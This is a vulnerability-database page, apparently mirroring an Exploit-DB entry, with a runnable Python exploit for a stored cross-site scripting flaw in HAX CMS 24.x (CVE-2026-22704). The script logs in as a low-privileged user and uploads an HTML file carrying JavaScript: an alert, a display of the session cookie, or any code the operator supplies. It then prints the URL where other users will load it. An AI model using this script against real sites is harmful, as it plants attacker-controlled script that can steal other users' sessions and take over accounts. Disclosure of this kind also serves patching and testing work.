Lucene search
K

HAX CMS 24.x - Stored Cross-Site Scripting (XSS)

🗓️ 29 Apr 2026 00:00:00Reported by banyamerType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 59 Views

HAX CMS 24.x stores cross site scripting via unsanitized content uploaded by low-privileged authenticated users.

Related
Code
ReporterTitlePublishedViews
Family
ATTACKERKB
CVE-2026-46392
5 Jun 202618:20
attackerkb
Circl
CVE-2026-22704
9 Jan 202618:45
circl
CNNVD
HAX 跨站脚本漏洞
10 Jan 202600:00
cnnvd
CVE
CVE-2026-22704
10 Jan 202606:22
cve
Cvelist
CVE-2026-22704 HAXcms Has Stored XSS Vulnerability that May Lead to Account Takeover
10 Jan 202606:22
cvelist
EUVD
EUVD-2026-1866
13 Jan 202615:07
euvd
EUVD
EUVD-2026-34883
5 Jun 202618:20
euvd
Github Security Blog
HAXcms Has Stored XSS Vulnerability that May Lead to Account Takeover
13 Jan 202615:07
github
NVD
CVE-2026-22704
10 Jan 202607:16
nvd
OSV
CVE-2026-22704 HAXcms Has Stored XSS Vulnerability that May Lead to Account Takeover
10 Jan 202606:22
osv
Rows per page
# Exploit Title: HAX CMS 24.x - Stored Cross-Site Scripting (XSS)
# Date: 2026-01-28
# Google Dork: "N/A"
# Author: Mohammed Idrees Banyamer
# Author Country: Jordan
# Instagram: @banyamer_security
# Vendor Homepage: https://www.drupal.org/project/hax
# Software Link: https://github.com/elmsln/haxcms
# Version: <= 24.x (tested)
# Tested on: Linux
# CVE: CVE-2026-22704
#
# Description:
# HAX CMS allows low-privileged authenticated users to upload HTML files
# without proper content sanitization. Uploaded HTML files are rendered
# directly by the application, leading to a Stored Cross-Site Scripting (XSS)
# vulnerability when accessed by other users.
#
#
# Usage:
#   python3 haxcms_stored_xss.py --target http://TARGET --user USER --password PASS
#


import argparse
import requests
from urllib.parse import urljoin


def create_poc_html(payload_type="alert"):
    """
    Generate HTML PoC file.
    Payload types:
      - alert  : simple JS alert (default)
      - cookie : cookie access demonstration
      - custom : user supplied JavaScript
    """

    if payload_type == "cookie":
        js_payload = """
        alert("PoC: document.cookie = " + document.cookie);
        """
    elif payload_type == "alert":
        js_payload = """
        alert("Stored XSS PoC - CVE-2026-22704");
        """
    else:
        js_payload = payload_type

    return f"""<!DOCTYPE html>
<html>
<head>
  <meta charset="UTF-8">
  <title>PoC</title>
</head>
<body>
  <h2>HAX CMS Stored XSS PoC</h2>
  <script>
  {js_payload.strip()}
  </script>
</body>
</html>
"""


def upload_file(target, username, password, filename, content):
    session = requests.Session()

    login_url = urljoin(target, "/user/login")
    login_data = {
        "name": username,
        "pass": password,
        "form_id": "user_login_form",
        "op": "Log in"
    }

    print("[*] Logging in...")
    r = session.post(login_url, data=login_data, allow_redirects=True)

    if "log out" not in r.text.lower():
        print("[!] Login failed")
        return False

    print("[+] Login successful")

    upload_url = urljoin(target, "/files/upload")
    files = {
        "files[upload]": (filename, content.encode(), "text/html")
    }

    print("[*] Uploading HTML file...")
    r = session.post(upload_url, files=files)

    if r.status_code not in (200, 201, 302):
        print("[!] Upload failed")
        return False

    file_url = urljoin(target, f"/sites/default/files/{filename}")
    print("[+] File uploaded successfully")
    print("[+] PoC URL:")
    print(file_url)

    return True


def main():
    parser = argparse.ArgumentParser(description="HAX CMS Stored XSS PoC (CVE-2026-22704)")
    parser.add_argument("--target", required=True, help="Target base URL")
    parser.add_argument("--user", required=True, help="Low privilege username")
    parser.add_argument("--password", required=True, help="Password")
    parser.add_argument("--payload", default="alert",
                        choices=["alert", "cookie", "custom"],
                        help="PoC payload type")
    parser.add_argument("--filename", default="poc.html",
                        help="Uploaded file name")

    args = parser.parse_args()

    if args.payload == "custom":
        js = input("[?] Enter custom JavaScript payload:\n> ")
        html = create_poc_html(js)
    else:
        html = create_poc_html(args.payload)

    upload_file(
        args.target.rstrip("/"),
        args.user,
        args.password,
        args.filename,
        html
    )


if __name__ == "__main__":
    main()

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

29 Apr 2026 00:00Current
5.2Medium risk
Vulners AI Score5.2
CVSS 3.15.4 - 8
EPSS0.00089
SSVC
59